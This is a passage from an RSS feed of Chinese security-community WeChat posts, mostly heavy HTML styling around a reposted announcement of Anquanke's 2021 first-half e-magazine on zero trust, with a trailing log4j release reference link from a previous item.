&#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><strong style="color: var(--b3-protyle-inline-strong-color);">参考资料</strong></h1><p style="margin-top: 4px;margin-bottom: 4px;line-height: 1.625;padding: 4px;color: rgb(32, 33, 36);font-family: quote, &#34;Helvetica Neue&#34;, &#34;Luxi Sans&#34;, &#34;DejaVu Sans&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Yahei&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-variant-ligatures: no-common-ligatures;text-align: start;white-space: normal;"><a href="https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2" target="_blank">https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2</a></p><p><br/></p>



<p><a href="2247486031">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cfded63c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486031%26idx%3D1%26sn%3D6ba8667008ec0dc4a06daca6c632109c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Dec 2021 10:06:00 +0800</pubDate>
    </item>
    <item>
      <title>友情转载丨安全客2021年电子刊（上）发布</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486025&amp;idx=1&amp;sn=44f5ef4eb27284620410417fdc720c2f</link>
      <description>安全客2021年电子刊（上）发布，推荐阅读。</description>
      <content:encoded><![CDATA[<p>
<span>安全客</span> <span>2021-07-14 12:12</span> <span style="display: inline-block;"></span>
</p>

<p>安全客2021年电子刊（上）发布，推荐阅读。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9fab20bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MWgluVbDD6ZIicOSqUgpU5jfJMeaeE5kicuMmrC0JjZzoMLt558wiaYgPnrQpiaDIibOsU1bzcA0VhQJ7w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><img class="rich_pages" data-ratio="0.5555555555555556" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 878px !important;" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=9240cd04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGpl7Q65RWOso6mW25MDkUpvHSwACXI815HejWC8xWtgDg1onPN85J3VGg%2F640%3Fwx_fmt%3Djpeg"/><span style="margin-left: 4px;display: inline-block;color: rgba(255, 255, 255, 0.3);border-radius: 8px;font-size: 15px;line-height: 20px;"></span></p><p><br/></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: center;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在线阅读：7月15日18:00上线</span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: center;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">扫描二维码下载电子刊</span></p><p style="max-width: 100%;min-height: 1em;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 145px !important;" data-type="png" data-w="260" src="https://wechat2rss.xlab.app/img-proxy/?k=54eb2aba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGpls13MFVy3vRcn9xnWrIU6zq4gaLMtf5VlnEjqyZF0xufQ9QrIZBkyicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: center;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-16262345379664="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 255, 255)" data-style="font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; font-size: 15px; letter-spacing: 1px; text-align: center; background-color: rgb(255, 255, 255);" class="js_darkmode__0" style="max-width: 100%;background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(163, 163, 163) !important;">扫描二维码开启答题抽奖</span> </span></p><p style="max-width: 100%;min-height: 1em;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 143px !important;" data-type="png" data-w="260" src="https://wechat2rss.xlab.app/img-proxy/?k=bf408e40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplqdt2Ux0622bOTv4Wl3bHsIfwun678srAlkrkwqGeH7xpZX0Ciafsg4w%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-16262345379664="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 255, 255)" data-style="font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; font-size: 15px; letter-spacing: 1px; text-align: center; background-color: rgb(255, 255, 255);" class="js_darkmode__1" style="max-width: 100%;background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(163, 163, 163) !important;">（已正式开始，请注意登录）</span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">7月13日，安全客2021年电子刊（上）再度上线，我们对文章的质量严格把关，对品质始终恪守不渝，只愿为安全爱好者带来最好的干货！</span><span data-darkmode-color-16262345379664="rgb(184, 150, 176)" data-darkmode-original-color-16262345379664="#fff|rgb(203, 166, 195)" data-style="color: rgb(203, 166, 195);" class="js_darkmode__2" style="max-width: 100%;color: rgb(203, 166, 195);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(184, 150, 176)" data-darkmode-original-color-16262345379664="#fff|rgb(203, 166, 195)" style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><strong data-darkmode-color-16262345379664="rgb(184, 150, 176)" data-darkmode-original-color-16262345379664="#fff|rgb(203, 166, 195)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(184, 150, 176)" data-darkmode-original-color-16262345379664="#fff|rgb(203, 166, 195)" style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">从7月13日的11点到7月15日的18点</span></strong></span><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">，我们还将放送出数量丰富、实用精致的定制好礼，赶紧参与电子刊活动赢取奖品哟~</span></p><p><br/></p><section data-tools="135编辑器" data-id="104878" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 10px auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16262345379664="rgb(197, 194, 154)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 251, 200)" class="js_darkmode__bg__0 js_darkmode__3" data-style="box-sizing: border-box; width: 10px; height: 10px; background-image: linear-gradient(to right top, rgb(255, 254, 247) 0%, rgb(255, 251, 200) 100%); border-top-left-radius: 50%; border-top-right-radius: 50%; border-bottom-right-radius: 50%; border-bottom-left-radius: 50%; margin-bottom: -5px; margin-left: 20px; overflow: hidden; transform: rotate(0deg); background-position: initial initial; background-repeat: initial initial;" style="margin-bottom: -5px;margin-left: 20px;max-width: 100%;box-sizing: border-box;width: 10px;height: 10px;background-image: linear-gradient(to right top, rgb(255, 254, 247) 0%, rgb(255, 251, 200) 100%);border-radius: 50%;overflow: hidden;transform: rotate(0deg);visibility: visible;overflow-wrap: break-word !important;color: rgb(25, 25, 25) !important;"><br data-darkmode-bgcolor-16262345379664="rgb(197, 194, 154)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 251, 200)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section data-style="border: 1px solid rgb(206, 245, 240); padding-top: 30px; padding-right: 25px; padding-bottom: 30px; border-top-left-radius: 20px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; box-shadow: rgb(214, 236, 250) 7px 7px 0px 0px; margin-right: 8px; margin-left: 5px; box-sizing: border-box;" class="js_darkmode__4" style="margin-right: 8px;margin-left: 5px;padding-top: 30px;padding-right: 25px;padding-bottom: 30px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(206, 245, 240);border-radius: 20px 0px 0px;box-shadow: rgb(214, 236, 250) 7px 7px 0px 0px;visibility: visible;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: flex;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16262345379664="rgb(203, 184, 188)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 230, 236)" class="js_darkmode__bg__1 js_darkmode__5" data-style="box-sizing: border-box; width: 10px; height: 10px; background-image: linear-gradient(to right top, rgb(255, 250, 251) 0%, rgb(255, 230, 236) 100%); border-top-left-radius: 50%; border-top-right-radius: 50%; border-bottom-right-radius: 50%; border-bottom-left-radius: 50%; flex-shrink: 0; margin-left: -5px; overflow: hidden; transform: rotate(0deg); background-position: initial initial; background-repeat: initial initial;" style="margin-left: -5px;max-width: 100%;box-sizing: border-box;width: 10px;height: 10px;background-image: linear-gradient(to right top, rgb(255, 250, 251) 0%, rgb(255, 230, 236) 100%);border-radius: 50%;flex-shrink: 0;overflow: hidden;transform: rotate(0deg);visibility: visible;overflow-wrap: break-word !important;color: rgb(25, 25, 25) !important;"><br data-darkmode-bgcolor-16262345379664="rgb(203, 184, 188)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 230, 236)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section data-autoskip="1" data-darkmode-color-16262345379664="rgb(134, 137, 136)" data-darkmode-original-color-16262345379664="#fff|rgb(134, 137, 136)" style="margin-top: 5px;margin-left: 23px;max-width: 100%;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(134, 137, 136);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p hm_fix="329:232" data-darkmode-color-16262345379664="rgb(134, 137, 136)" data-darkmode-original-color-16262345379664="#fff|rgb(134, 137, 136)" style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(154, 154, 154)" data-darkmode-original-color-16262345379664="#fff|rgb(134, 137, 136)|rgb(154, 154, 154)" style="max-width: 100%;color: rgb(154, 154, 154);font-size: 15px;letter-spacing: 1px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2017年年初，安全客的第一版电子年刊正式出版，一经发布立刻在安全圈内掀起一番读书热潮。</span><span data-darkmode-color-16262345379664="rgb(154, 154, 154)" data-darkmode-original-color-16262345379664="#fff|rgb(134, 137, 136)|rgb(154, 154, 154)" style="max-width: 100%;color: rgb(154, 154, 154);font-size: 15px;letter-spacing: 1px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">今天安全客2021年电子刊（上）正式和大家见面，截至本次已经发布了18版，并且在上一期中，安全客电子刊创下累积</span><span data-darkmode-color-16262345379664="rgb(154, 154, 154)" data-darkmode-original-color-16262345379664="#fff|rgb(134, 137, 136)|rgb(154, 154, 154)" style="max-width: 100%;color: rgb(154, 154, 154);font-size: 15px;letter-spacing: 1px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">890000+的下载量，这是安全客一直坚守质量为本、干货为首的成果凝集，也是安全客用户和白帽伙伴对电子刊品质的认可，我们在此次电子刊中，也将秉承严格把控质量的原则，为大家呈现最优质、最热门的技术分享内容。</span><span data-darkmode-color-16262345379664="rgb(154, 154, 154)" data-darkmode-original-color-16262345379664="#fff|rgb(134, 137, 136)|rgb(154, 154, 154)" style="max-width: 100%;text-align: left;color: rgb(154, 154, 154);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p></section></section></section></section></section><section style="margin-right: 16px;margin-left: 16px;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-galleryid="" data-ratio="1.41" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 878px !important;" data-type="jpeg" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=46c71d15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplXxmDNL74rHXDcgIkaiaMKDNMruoELJWocXtED5KhNJfDRVlBsLfiaYTA%2F640%3Fwx_fmt%3Djpeg"/></section><p><br/></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">在数字化转型浪潮下，传统网络安全的边界开始模糊甚至走向消失。而以“从不信任与始终验证”为内核逻辑的零信任，不仅突破了传统边界安全单一防控的缺陷，还弥补了数字化转型下传统安全机制的短板。可以说，零信任安全理念的兴起，打破了网络位置和信任间的默认关系，最大限度地保证了资源的可信访问，提升了企业数字化转型中新IT架构的安全性。本期电子刊深度聚焦零信任主题，探讨信息化数字化进程下，如何打造更坚实且更契合技术发展潮流的安全防护架构体系。</span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><h2 name="h2-0" data-darkmode-color-16262345379664="rgb(255, 255, 255)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 255, 255)" style="margin: 15px auto;font-size: 25px;max-width: 100%;box-sizing: border-box;text-align: center;letter-spacing: 2px;line-height: 1;color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(255, 255, 255)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 255, 255)" data-style="text-shadow: rgb(0, 0, 0) 1px 1px 0px, rgb(0, 0, 0) 1px -1px 0px, rgb(0, 0, 0) -1px 1px 0px, rgb(0, 0, 0) -1px -1px 0px, rgb(0, 0, 0) 0px 1.4px 0px, rgb(0, 0, 0) 0px -1.4px 0px, rgb(0, 0, 0) -1.4px 0px 0px, rgb(0, 0, 0) 1.4px 0px 0px, rgb(233, 190, 41) 0px 3px 0px, rgb(0, 0, 0) 1px 4px 0px, rgb(0, 0, 0) 1px 2px 0px, rgb(0, 0, 0) -1px 4px 0px, rgb(0, 0, 0) -1px 2px 0px, rgb(0, 0, 0) 0px 4.4px 0px, rgb(0, 0, 0) 0px 1.6px 0px, rgb(0, 0, 0) -1.4px 3px 0px, rgb(0, 0, 0) 1.4px 3px 0px; font-size: 16px;" class="js_darkmode__6" style="max-width: 100%;text-shadow: rgb(0, 0, 0) 1px 1px 0px, rgb(0, 0, 0) 1px -1px 0px, rgb(0, 0, 0) -1px 1px 0px, rgb(0, 0, 0) -1px -1px 0px, rgb(0, 0, 0) 0px 1.4px 0px, rgb(0, 0, 0) 0px -1.4px 0px, rgb(0, 0, 0) -1.4px 0px 0px, rgb(0, 0, 0) 1.4px 0px 0px, rgb(233, 190, 41) 0px 3px 0px, rgb(0, 0, 0) 1px 4px 0px, rgb(0, 0, 0) 1px 2px 0px, rgb(0, 0, 0) -1px 4px 0px, rgb(0, 0, 0) -1px 2px 0px, rgb(0, 0, 0) 0px 4.4px 0px, rgb(0, 0, 0) 0px 1.6px 0px, rgb(0, 0, 0) -1.4px 3px 0px, rgb(0, 0, 0) 1.4px 3px 0px;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-brushtype="text" hm_fix="312:355" data-darkmode-color-16262345379664="rgb(255, 255, 255)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 255, 255)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">电子刊亮点</strong></span></h2><p><br/></p><section style="max-width: 100%;box-sizing: border-box;font-size: 16px;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="margin-top: 10px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)" data-style="display: inline-block; width: 44px; height: 44px; vertical-align: top; overflow: hidden; border: 0px none rgb(0, 0, 0); border-top-left-radius: 52px; border-top-right-radius: 52px; border-bottom-right-radius: 52px; border-bottom-left-radius: 52px; background-color: rgb(255, 224, 139); box-sizing: border-box;" class="js_darkmode__7" style="max-width: 100%;box-sizing: border-box;background-color: rgb(255, 224, 139);border-width: 0px;border-style: none;border-color: rgb(0, 0, 0);display: inline-block;width: 44px;height: 44px;vertical-align: top;overflow: hidden;border-radius: 52px;overflow-wrap: break-word !important;color: rgb(25, 25, 25) !important;"><section data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;" data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)"></svg></section></section></section><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;transform: rotateZ(315deg);overflow-wrap: break-word !important;"><section style="margin-bottom: -10px;max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;transform: translate3d(24px, 0px, 0px);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;width: auto;vertical-align: top;flex: 0 0 0%;height: auto;border-top: 1px none rgba(255, 255, 255, 0);border-top-left-radius: 0px;align-self: flex-start;line-height: 0;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section data-style="display: inline-block; width: 0px; height: 0px; vertical-align: top; overflow: hidden; border-style: solid; border-width: 27px 27px 0px; border-color: rgb(238, 249, 248) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0); box-sizing: border-box;" class="js_darkmode__8" style="max-width: 100%;box-sizing: border-box;border-color: rgb(238, 249, 248) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0);display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 27px 27px 0px;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;transform: translate3d(-24px, 0px, 0px);overflow-wrap: break-word !important;"><section data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" data-style="font-size: 12px; font-family: Optima-Regular, PingFangTC-light; letter-spacing: 0px; line-height: 1; color: rgb(0, 0, 0); box-sizing: border-box;" class="js_darkmode__9" style="max-width: 100%;box-sizing: border-box;color: rgb(0, 0, 0);font-size: 12px;font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0px;line-height: 1;overflow-wrap: break-word !important;"><p data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">亮点一</span></p></section></section><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;transform: translate3d(-24px, 0px, 0px);overflow-wrap: break-word !important;"><section data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" data-style="font-family: Optima-Regular, PingFangTC-light; letter-spacing: 1px; color: rgb(0, 0, 0); box-sizing: border-box;" class="js_darkmode__10" style="max-width: 100%;box-sizing: border-box;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;overflow-wrap: break-word !important;"><p data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;">把握当下技术脉搏</p></section></section></section></section></section></section><p><br/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2021年电子刊（上）收录了26篇优秀技术文章，涵盖零信任、安全研究、红蓝对抗、漏洞分析等四大季度热点方向，你，不容错过！</span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1.4141475211608223" width="732" data-type="jpeg" data-w="1654" height="1035" style="box-sizing: border-box;border-width: 1px;border-style: none;border-color: rgb(32, 32, 32);vertical-align: middle;display: block;overflow-wrap: break-word !important;background-color: rgb(32, 32, 32) !important;background-size: 22px !important;height: 1035.16px !important;width: 732px !important;background-position: center center !important;background-repeat: no-repeat !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=48291c09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplcgCwoqRBCKBK76C2UJVM2jXN4oibyjU0mIdRib6pGyKchg2GFib6rX92Q%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><section style="max-width: 100%;box-sizing: border-box;font-size: 16px;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="margin-top: 10px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)" data-style="display: inline-block; width: 44px; height: 44px; vertical-align: top; overflow: hidden; border: 0px none rgb(0, 0, 0); border-top-left-radius: 52px; border-top-right-radius: 52px; border-bottom-right-radius: 52px; border-bottom-left-radius: 52px; background-color: rgb(255, 224, 139); box-sizing: border-box;" class="js_darkmode__11" style="max-width: 100%;box-sizing: border-box;background-color: rgb(255, 224, 139);border-width: 0px;border-style: none;border-color: rgb(0, 0, 0);display: inline-block;width: 44px;height: 44px;vertical-align: top;overflow: hidden;border-radius: 52px;overflow-wrap: break-word !important;color: rgb(25, 25, 25) !important;"><section data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;" data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)"></svg></section></section></section><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;transform: rotateZ(315deg);overflow-wrap: break-word !important;"><section style="margin-bottom: -10px;max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;transform: translate3d(24px, 0px, 0px);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;width: auto;vertical-align: top;flex: 0 0 0%;height: auto;border-top: 1px none rgba(255, 255, 255, 0);border-top-left-radius: 0px;align-self: flex-start;line-height: 0;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section data-style="display: inline-block; width: 0px; height: 0px; vertical-align: top; overflow: hidden; border-style: solid; border-width: 27px 27px 0px; border-color: rgb(238, 249, 248) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0); box-sizing: border-box;" class="js_darkmode__12" style="max-width: 100%;box-sizing: border-box;border-color: rgb(238, 249, 248) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0);display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 27px 27px 0px;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;transform: translate3d(-24px, 0px, 0px);overflow-wrap: break-word !important;"><section data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" data-style="font-size: 12px; font-family: Optima-Regular, PingFangTC-light; letter-spacing: 0px; line-height: 1; color: rgb(0, 0, 0); box-sizing: border-box;" class="js_darkmode__13" style="max-width: 100%;box-sizing: border-box;color: rgb(0, 0, 0);font-size: 12px;font-family: Optima-Regular, PingFangTC-light;letter-spacing: 